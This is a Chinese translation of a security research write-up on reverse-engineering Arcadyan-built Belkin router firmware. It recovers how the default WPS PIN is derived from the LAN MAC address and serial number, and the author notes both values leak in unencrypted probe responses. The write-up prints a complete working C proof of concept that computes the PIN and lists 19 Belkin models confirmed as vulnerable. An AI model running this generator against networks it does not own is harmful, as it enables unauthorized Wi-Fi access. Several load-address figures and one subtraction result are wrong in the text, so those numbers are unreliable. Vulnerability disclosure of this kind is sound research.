在发现D-Link的WPS算法后,我很想看看哪个供应商也许会使用相似的算法,于是我导出了贝尔金设备的固件,然后开始分析。这种特殊的固件使用SuperTask实时操作系统,事实上它使用之前见过的Linksys WRT120N相同的固件。

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Obfuscated Arcadyan firmware, signature bytes: 0x12010920, 
see https://github.com/devttys0/wrt120n/deobfuscator666624       
0xA2C00 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 454656 bytes

作为一种著名的模糊处理方式,binwalk有能力进行反混淆处理,并能提取出被压缩的固件镜像。下一步就是弄清楚代码加载地址,来在IDA中进行合适的反汇编;如果代码以错误的加载地址进行反汇编,则绝对内存参考地址就不会被合适的解析。

代码中的绝对地址可以暗示加载地址,比如下面这个循环就标示出BSS区部分。

BSS“零循环”经常可以被看到,因为他们将会占用相对比较大的内存区域,并且他们通常会在代码的开始部分。

下面就可以看到,在地址介于0x802655F0和0×80695574之间都被0填充,因此这一定是内存中的有效地址。并且,BSS区通常位于代码区和数据区之后;既然这样,就可以知道我进加载到IDA中的镜像大小是0x2635EB字节,因此我们预计BSS区就在这部分之后:

事实上,用BSS区开始的地址减去固件镜像的大小大概就得到0×800002000:

0x802655F0 - 0x2635EB = 0x800002005

设置0×800002000作为IDA加载的地址,我们会得到一个相当可信的反汇编效果:

WPS pin

有了合理的反汇编后,搜索发现WPS pin产生算法也许起源于厄内斯特。当查找与产生WPS pins相关的函数时,在某种程度上应该合理地假设它们计算WPS pin校验和。以确定计算WPS pin校验和的函数作为搜索的开始是非常有效的。

然而,在没有符号表的情况下,去查找一个名字为”wps_checksum”的函数是不可能的;幸运的是,MIPS C编译器往往会在生成WPS校验和汇编代码时产生一个可以预测的立即数的集合,这是我在逆向D-Link的WPS pin算法是注意到的。使用IDAPython脚本来搜索这些立即数会极大地简化确认WPS校验和函数的过程:

仅仅只有几个函数在调用wps_checksum函数,并且其中的一个含有一个到非常有趣的字符串的参考:

在GenerateDefaultPin的代码中有很多的异或和移位操作,但是更有意思的是它所处理的数据。查看这些被传递到GenerateDefaultPin函数的值,发现传递过去了这个路由器的MAC地址和序列号:

MAC地址会很容易地被一个无线攻击者收集到,序列号要是获得的话会相对麻烦一点。尽管序列号不是很随机,GenerateDefaultPin使用序列号最低的四位数字,这也是相当不容易推算出来的,以此可以阻止外面的攻击者计算WPS pin。

至少如果在贝尔金802.11探测回应数据包中的WPS信息元素不包含设备的序列号的话会是这样:

由于WiFi探测请求/回应数据包没有被加密,攻击者可以通过向受害者的AP发送一个探测请求包来获取到MAC地址(这里被这个算法使用的MAC地址事LAN MAC)和序列号。

我们仅仅需要逆向GenerateDefaultPin这部分代码来探究它是如何使用MAC地址和序列号来创建一个唯一的WPS pin(从这下载PoC)。

/* Used in the Belkin code to convert an ASCII character to an integer */
int char2int(char c)
{
    char buf[2] = { 0 };
 
    buf[0] = c;
    return strtol(buf, NULL, 16);
}
 
/* Generates a standard WPS checksum from a 7 digit pin */
int wps_checksum(int pin)
{
    int div = 0;
 
    while(pin)
    {
        div += 3 * (pin % 10);
        pin /= 10;
        div += pin % 10;
        pin /= 10;
    }
 
    return ((10 - div % 10) % 10);
}
 
/* Munges the MAC and serial numbers to create a WPS pin */
int pingen(char *mac, char *serial)
{
#define NIC_NIBBLE_0    0
#define NIC_NIBBLE_1    1
#define NIC_NIBBLE_2    2
#define NIC_NIBBLE_3    3
 
#define SN_DIGIT_0      0
#define SN_DIGIT_1      1
#define SN_DIGIT_2      2
#define SN_DIGIT_3      3
 
    int sn[4], nic[4];
    int mac_len, serial_len;
    int k1, k2, pin;
    int p1, p2, p3;
    int t1, t2;
 
    mac_len = strlen(mac);
    serial_len = strlen(serial);
 
    /* Get the four least significant digits of the serial number */
    sn[SN_DIGIT_0] = char2int(serial[serial_len-1]);
    sn[SN_DIGIT_1] = char2int(serial[serial_len-2]);
    sn[SN_DIGIT_2] = char2int(serial[serial_len-3]);
    sn[SN_DIGIT_3] = char2int(serial[serial_len-4]);
 
    /* Get the four least significant nibbles of the MAC address */
    nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]);
    nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]);
    nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]);
    nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]);
 
    k1 = (sn[SN_DIGIT_2] +
          sn[SN_DIGIT_3] +
          nic[NIC_NIBBLE_0] +
          nic[NIC_NIBBLE_1]) % 16;
 
    k2 = (sn[SN_DIGIT_0] +
          sn[SN_DIGIT_1] +
          nic[NIC_NIBBLE_3] +
          nic[NIC_NIBBLE_2]) % 16;
 
    pin = k1 ^ sn[SN_DIGIT_1];
     
    t1 = k1 ^ sn[SN_DIGIT_0];
    t2 = k2 ^ nic[NIC_NIBBLE_1];
     
    p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1;
    p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2;
    p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2];
     
    k1 = k1 ^ k2;
 
    pin = (pin ^ k1) * 16;
    pin = (pin + t1) * 16;
    pin = (pin + p1) * 16;
    pin = (pin + t2) * 16;
    pin = (pin + p2) * 16;
    pin = (pin + k1) * 16;
    pin += p3;
    pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
     
    return (pin * 10) + wps_checksum(pin);
}

在24个被检测的贝尔金路由器中,有80%被发现使用这种算法来产生默认的WPS pin:

已经被确认有这个漏洞的有:

●F9K1001v4
●F9K1001v5
●F9K1002v1
●F9K1002v2
●F9K1002v5
●F9K1103v1
●F9K1112v1
●F9K1113v1
●F9K1105v1
●F6D4230-4v2
●F6D4230-4v3
●F7D2301v1
●F7D1301v1
●F5D7234-4v3
●F5D7234-4v4
●F5D7234-4v5
●F5D8233-4v1
●F5D8233-4v3
●F5D9231-4v1

已经被确认没有这个漏洞的有:

●F9K1001v1
●F9K1105v2
●F6D4230-4v1
●F5D9231-4v2
●F5D8233-4v4

尽管拿贝尔金来说事并不公平,因为这个问题是由Arcadyan引起的,它才是很多贝尔金产品的ODM(Original Design Manufacturer,原始设计制造商),当然其它的厂家也是这样。这意味着除了上述列出的那部分外,还有更多的设备和供应商受此影响。

* 消息来源:原文作者/0XFFFF,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...